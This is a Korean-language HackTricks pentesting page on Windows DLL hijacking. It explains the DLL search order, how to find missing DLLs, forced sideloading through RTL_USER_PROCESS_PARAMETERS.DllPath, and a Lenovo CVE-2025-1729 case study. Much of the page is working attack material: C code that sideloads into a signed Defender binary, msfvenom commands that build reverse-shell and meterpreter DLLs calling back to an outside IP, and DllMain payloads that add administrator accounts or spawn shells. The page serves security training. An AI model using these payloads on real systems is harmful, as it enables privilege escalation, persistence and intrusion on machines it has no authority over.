Dll Hijacking
Reading time: 13 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
DLL Hijacking은 신뢰되는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 의미합니다. 이 용어는 DLL Spoofing, Injection, and Side-Loading과 같은 여러 전술을 포함합니다. 주로 code execution, achieving persistence 및 덜 빈번하게 privilege escalation에 사용됩니다. 여기서는 상승(escation)에 초점을 맞추었지만, hijacking 방식은 목적에 관계없이 동일합니다.
Common Techniques
DLL hijacking에 사용되는 여러 방법들이 있으며, 각 방법의 효과는 애플리케이션의 DLL 로딩 전략에 따라 다릅니다:
- DLL Replacement: 정상 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용합니다.
- DLL Search Order Hijacking: 악성 DLL을 합법 DLL보다 먼저 검색되는 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다.
- Phantom DLL Hijacking: 애플리케이션이 존재하지 않는 필수 DLL로 판단하고 로드하도록 만들기 위해 악성 DLL을 생성합니다.
- DLL Redirection:
%PATH%
또는.exe.manifest
/.exe.local
파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다. - WinSxS DLL Replacement: WinSxS 디렉터리에서 합법 DLL을 악성 버전으로 교체하는 방법으로, 종종 DLL side-loading과 연관됩니다.
- Relative Path DLL Hijacking: 복사된 애플리케이션과 함께 사용자가 제어하는 디렉터리에 악성 DLL을 배치하는 방법으로, Binary Proxy Execution 기술과 유사합니다.
Finding missing Dlls
시스템 내에서 누락된 Dll을 찾는 가장 일반적인 방법은 sysinternals의 procmon을 실행하고, 다음 2개의 필터를 설정하는 것입니다:
그리고 File System Activity만 표시합니다:
일반적으로 missing dlls를 찾고 있다면 이 상태로 몇 초 동안 실행해 두면 됩니다.
특정 실행 파일 내부의 missing dll을 찾고 있다면 "Process Name" "contains" "<exec name>" 같은 추가 필터를 설정한 뒤 해당 실행 파일을 실행하고 이벤트 캡처를 중지해야 합니다.
Exploiting Missing Dlls
권한 상승을 위해 가장 좋은 기회는 privilege process가 로드하려고 시도할 DLL을 해당 프로세스가 검색하는 위치들 중 하나에 쓸 수 있는 능력입니다. 따라서 우리는 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 쓸 수 있거나(특이한 경우), 원본 DLL이 어떤 폴더에도 존재하지 않아 해당 폴더에 DLL을 쓸 수 있는 경우에 성공할 수 있습니다.
Dll Search Order
Microsoft 문서(https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며 특정 순서를 따릅니다. 악성 DLL을 이러한 디렉터리 중 하나에 전략적으로 배치하면 정식 DLL보다 먼저 로드되도록 할 수 있어 DLL hijacking 문제가 발생합니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
- 애플리케이션이 로드된 디렉터리.
- 시스템 디렉터리. 이 디렉터리의 경로를 얻으려면 GetSystemDirectory 함수를 사용합니다.(C:\Windows\System32)
- 16-bit 시스템 디렉터리. 이 디렉터리의 경로를 얻는 함수는 없지만 검색됩니다. (C:\Windows\System)
- Windows 디렉터리. 이 디렉터리의 경로를 얻으려면 GetWindowsDirectory 함수를 사용합니다.
- (C:\Windows)
- 현재 디렉터리.
- PATH 환경 변수에 나열된 디렉터리들. 여기에는 App Paths 레지스트리 키로 지정된 애플리케이션별 경로는 포함되지 않습니다. App Paths 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다.
이는 SafeDllSearchMode가 활성화된 경우의 기본 검색 순서입니다. 비활성화되면 현재 디렉터리가 두 번째로 올라갑니다. 이 기능을 비활성화하려면 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 레지스트리 값을 만들고 0으로 설정하면 됩니다(기본값은 활성화).
LoadLibraryEx 함수가 LOAD_WITH_ALTERED_SEARCH_PATH와 함께 호출되면 검색은 LoadLibraryEx가 로드하는 실행 모듈의 디렉터리에서 시작됩니다.
마지막으로, 절대 경로로 지정되어 DLL을 로드할 수 있다는 점을 유의하세요. 이 경우 해당 dll은 그 경로에서만 검색됩니다(해당 dll이 종속성을 가지고 있다면, 그 종속성들은 이름으로만 로드될 때처럼 검색됩니다).
검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
새로 생성된 프로세스의 DLL 검색 경로를 결정론적으로 조작하는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기에서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 절대 경로 없이(이름으로만) DLL을 해석할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
핵심 아이디어
- RtlCreateProcessParametersEx로 프로세스 파라미터를 구성하고, 제어하는 폴더(예: dropper/unpacker가 위치한 디렉터리)를 가리키는 맞춤 DllPath를 제공합니다.
- RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 이름으로 DLL을 해석하면 로더가 이 제공된 DllPath를 참조하여 해석하므로, 악성 DLL이 대상 EXE와 같은 위치에 있지 않아도 신뢰할 수 있는 sideloading이 가능해집니다.
주의사항/제한
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않아야 함).
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
Minimal C example (ntdll, wide strings, simplified error handling):
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
운영상 사용 예
- 악성 xmllite.dll (필요한 함수를 내보내거나 실제 DLL을 프록시하는) 를 DllPath 디렉터리에 배치합니다.
- 위 기술을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 귀하의 DLL을 sideload합니다.
이 기법은 실전에서 다단계 sideloading 체인을 유발하는 것으로 관찰되었습니다: 초기 런처가 헬퍼 DLL을 드롭하고, 그 헬퍼가 Microsoft-signed, hijackable 바이너리를 실행하여 커스텀 DllPath로 공격자의 DLL을 스테이징 디렉터리에서 강제로 로드하도록 합니다.
Windows 문서의 DLL 검색 순서 예외사항
Windows 문서에는 표준 DLL 검색 순서에 대한 특정 예외들이 명시되어 있습니다:
- When a 이미 메모리에 로드된 것과 같은 이름을 가진 DLL이 발견되면, 시스템은 일반 검색을 우회합니다. 대신, 리다이렉션과 매니페스트를 확인한 후 기본적으로 이미 메모리에 있는 DLL을 사용합니다. 이 시나리오에서는 시스템이 DLL을 검색하지 않습니다.
- In cases where the DLL is recognized as a known DLL for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, forgoing the search process. 레지스트리 키 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs에는 이러한 known DLL들의 목록이 저장되어 있습니다.
- Should a DLL have dependencies, the search for these dependent DLLs is conducted as though they were indicated only by their module names, regardless of whether the initial DLL was identified through a full path.
권한 상승
요구사항:
- 수평/측면 이동을 위해 다른 권한으로 실행되거나 실행될 가능성이 있는, DLL이 누락된 프로세스를 식별합니다.
- DLL이 검색될 모든 디렉터리에 대해 쓰기 권한이 있는지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
네, 요구 조건을 찾기는 복잡합니다. 기본적으로 권한이 높은 실행 파일이 DLL을 누락한 경우를 찾는 것은 드물고, 시스템 경로 폴더에 쓰기 권한을 갖는 것은 더욱 드문 일입니다(기본적으로 불가능합니다). 하지만, 잘못 구성된 환경에서는 이것이 가능할 수 있습니다.
운 좋게 요구 사항을 충족한다면 UACME 프로젝트를 확인해 보세요. 프로젝트의 주된 목적은 UAC 우회이지만, 해당 Windows 버전용 Dll hijaking의 PoC를 찾을 수 있을지 모릅니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다).
참고: 폴더에서 권한을 확인하는 방법은 다음과 같습니다:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
그리고 PATH 내부의 모든 폴더의 권한을 확인하세요:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
실행 파일의 imports와 dll의 exports는 다음으로 확인할 수 있습니다:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:
Writable Sys Path +Dll Hijacking Privesc
Automated tools
Winpeas 는 system PATH 내부의 어떤 폴더에 대해 쓰기 권한이 있는지 확인합니다.
이 취약점을 발견하는 데 유용한 다른 자동화 도구로는 PowerSploit functions의 Find-ProcessDLLHijack, Find-PathDLLHijack 및 _Write-HijackDll_가 있습니다.
Example
만약 exploitable한 시나리오를 발견했다면, 성공적으로 이를 악용하기 위해 가장 중요한 것 중 하나는 실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 만드는 것입니다. 어쨌든, Dll Hijacking은 Medium Integrity level에서 High **(bypassing UAC)**로 권한 상승하거나 High Integrity에서 SYSTEM으로 상승할 때 유용하게 쓰입니다. 실행을 위한 dll hijacking에 초점을 맞춘 이 dll hijacking 연구에서 유효한 dll을 생성하는 방법의 예를 찾을 수 있습니다: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
또한, 다음 섹션에서는 템플릿으로 사용하거나 필수 함수가 아닌 함수들을 export한 dll을 만들 때 유용할 수 있는 몇 가지 기본 dll 코드를 찾을 수 있습니다.
Dll 생성 및 컴파일
Dll Proxifying
기본적으로 Dll proxy는 로드될 때 악성 코드를 실행할 수 있으면서도, 모든 호출을 실제 라이브러리로 전달(relay)하여 기대된 대로 노출(expose) 및 동작할 수 있는 Dll입니다.
도구 DLLirant 또는 Spartacus를 사용하면 실제로 실행 파일을 지정하고 proxify할 라이브러리를 선택하여 proxified dll을 생성하거나, Dll을 지정하고 proxified dll을 생성할 수 있습니다.
Meterpreter
rev shell (x64) 얻기:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
meterpreter (x86)을 얻기:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
사용자 생성 (x86 — x64 버전은 보지 못함):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
직접 제작한 Dll
몇몇 경우, 컴파일한 Dll은 victim process가 로드할 여러 함수를 반드시 export several functions 해야 합니다. 이러한 함수들이 존재하지 않으면 binary won't be able to load them, 따라서 exploit will fail.
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
사례 연구: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
이 사례는 Lenovo의 TrackPoint Quick Menu (TPQMAssistant.exe
)에서 발생한 Phantom DLL Hijacking을 보여주며, CVE-2025-1729로 추적됩니다.
취약점 세부 정보
- 구성요소:
TPQMAssistant.exe
(위치:C:\ProgramData\Lenovo\TPQM\Assistant\
). - Scheduled Task:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask
은 로그인한 사용자 컨텍스트에서 매일 오전 9:30에 실행됩니다. - Directory Permissions:
CREATOR OWNER
에 의해 쓰기 가능하며, 로컬 사용자가 임의의 파일을 배치할 수 있습니다. - DLL Search Behavior: 먼저 작업 디렉터리에서
hostfxr.dll
을 로드하려 시도하며, 누락된 경우 "NAME NOT FOUND"를 기록하여 로컬 디렉터리 검색 우선순위를 나타냅니다.
Exploit Implementation
공격자는 동일한 디렉터리에 악성 hostfxr.dll
스텁을 배치하여, 누락된 DLL을 악용해 사용자 컨텍스트에서 코드 실행을 얻을 수 있습니다:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
공격 흐름
- 표준 사용자 권한으로
hostfxr.dll
을C:\ProgramData\Lenovo\TPQM\Assistant\
에 배치한다. - 현재 사용자 컨텍스트에서 예약된 작업이 오전 9시 30분에 실행될 때까지 기다린다.
- 작업 실행 시 관리자가 로그인한 상태라면, 악성 DLL은 관리자의 세션에서 medium integrity로 실행된다.
- 표준 UAC bypass techniques를 연계하여 medium integrity에서 SYSTEM 권한으로 권한 상승을 시도한다.
완화
Lenovo는 Microsoft Store를 통해 UWP 버전 1.12.54.0을 배포했으며, 이 버전은 TPQMAssistant를 C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\
에 설치하고, 취약한 예약 작업을 제거하며, 레거시 Win32 구성요소를 제거한다.
참고 자료
-
CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
-
https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
-
https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
-
Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.